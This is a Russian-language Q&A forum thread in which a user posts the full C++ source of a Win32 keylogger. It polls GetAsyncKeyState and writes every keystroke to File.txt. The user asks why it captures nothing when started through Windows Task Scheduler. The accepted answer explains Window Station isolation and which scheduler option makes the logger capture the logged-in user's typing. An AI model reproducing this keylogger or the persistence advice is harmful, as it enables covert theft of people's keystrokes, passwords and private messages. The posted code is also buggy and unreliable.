Программа C ++ Win32 неконсольное приложение с Windows taskschd.msc, не работает

0

Я сделал эту программу c++ в Win32 без консоли (приложение Win32). Предполагается, что программа получит весь ввод с клавиатуры и поместит ее в файл: "file.txt". Когда я запускаю программу через visual studio 2012, и когда я запускаю.exe файл программы, он работает просто отлично. Но проблема в том, что я пытаюсь запустить его (файл.exe) через taskschd.msc - Планировщик окон: не работает. Я выполнил инструкции о том, как планировать программу в taskschd.msc, как описано здесь: http://www.sevenforums.com/tutorials/67503-task-create-run-program-startup-log.html

Я сделал это с пользователем администратора.

Проблема в том, что когда taskchd.msc запускает эту программу, я вижу в taskmanger, что программа была запущена, но по какой-то причине она не помещает никаких символов в файл. Я хочу, что даже когда программа запускается с taskschd.msc, будет работать так же, как при активации вручную. Я даже попытался запустить в планировщике задач программу.bat, которая запускает.exe, но это не помогает, хотя она отлично работает при активации вручную.
Я, ни кто-либо, не знаю, не имеет ИДЕИ, как это исправить. это код:

  //Define the minimum operating system for the application:
#define _WIN32_WINNT _WIN32_WINNT_WINXP //Windows XP
//Get rid of the annoying min() and max() macros:
#define NOMINMAX
//Include the windows header:

#include <iostream>
#include <fstream>
#include <conio.h>
using namespace std;
#include <Windows.h>
#include <Winuser.h>

int Save (int key_stroke, char *file)
{
if ( (key_stroke == 1) || (key_stroke == 2) )
return 0;

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

//if (OUTPUT_FILE == NULL )
    //return -1;

if (key_stroke == VK_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
else if (key_stroke == 13)
    fprintf(OUTPUT_FILE, "%s", "\n"); 
else if (key_stroke == 32)
    fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB) 
    fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
    fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
    fprintf(OUTPUT_FILE, "%s", "[CTRL]");
else if (key_stroke == VK_ESCAPE)
    fprintf(OUTPUT_FILE, "%s", "[ESC]");
else if (key_stroke == VK_END)
    fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
    fprintf(OUTPUT_FILE, "%s", "[HOME]");
 else if(key_stroke == VK_DELETE)
     fprintf(OUTPUT_FILE, "%s", "[DEL]");
else if(key_stroke == VK_INSERT)
    fprintf(OUTPUT_FILE, "%s", "[INS]");
else if(key_stroke == VK_CAPITAL)
    fprintf(OUTPUT_FILE, "%s", "[CAPSLOCK]");
else if (key_stroke == VK_LEFT)
    fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
    fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
    fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
    fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == VK_BROWSER_BACK)
    fprintf(OUTPUT_FILE, "%s", "[BROWSER_BACK]");
else if (key_stroke == 190 || key_stroke == 110)
    fprintf(OUTPUT_FILE, "%s", ".");
else
    fprintf(OUTPUT_FILE, "%s", &key_stroke);


fclose (OUTPUT_FILE);
return 0;
}
int wWinMain(HINSTANCE hInst, HINSTANCE prevInst, LPWSTR szCmdLine, int nCmdShow)
{
    while (1)
    {
        for(char i = 8; i <= 300; i++)
        {
            if (GetAsyncKeyState(i) == -32767)
            if(Save (i,"File.txt")==-1)
                return 0;
        }
    }

return 0;
}
  • 3
    100% загрузка ядра ЦП, непрерывная запись на диск при удержании клавиши, открытие и закрытие файла для каждого удерживаемого ключа. Это самый ужасный кейлоггер, который я когда-либо видел.
  • 0
    это просто тест. Я знаю, это действительно плохо. Я только начинаю. но почему не работает?
Показать ещё 1 комментарий
Теги:
window
scheduled-tasks

1 ответ

1
Лучший ответ

Я не эксперт по этому вопросу, но в любом случае, я думаю, вы создали запланированную задачу с выбранным вариантом "Запустить, был ли пользователь включен или нет". Это позволяет планировщику задач запускать задачи в отдельной Window Station, чтобы предотвратить беспорядок на рабочем столе и (в вашем случае) устройствах ввода, таких как клавиатура и мышь.

Вы можете добавить следующий код в свою программу, чтобы проверить, в какой оконной станции работает ваша программа:

HWINSTA station = GetProcessWindowStation();
char buffer[1024];
BOOL result = GetUserObjectInformation(station, UOI_NAME, buffer, 1024, NULL);

если содержимое переменной buffer не WinSta0 вам не повезло.

И нет, вы не сможете украсть пароль, введенный при входе в систему.

  • 0
    Почему нет? и если я сделаю это без этой опции, должно ли это работать? имеет ли значение, что программа находится в C: \ Program Files?
  • 0
    Если вы создаете задачу с опцией «Запускать только когда пользователь вошел в систему», то она должна работать, но только для ввода, сделанного этим конкретным пользователем, когда он вошел в систему. Откуда вы его запускаете, совершенно не имеет значения.
Показать ещё 2 комментария

Ещё вопросы

Сообщество Overcoder
Наверх
Меню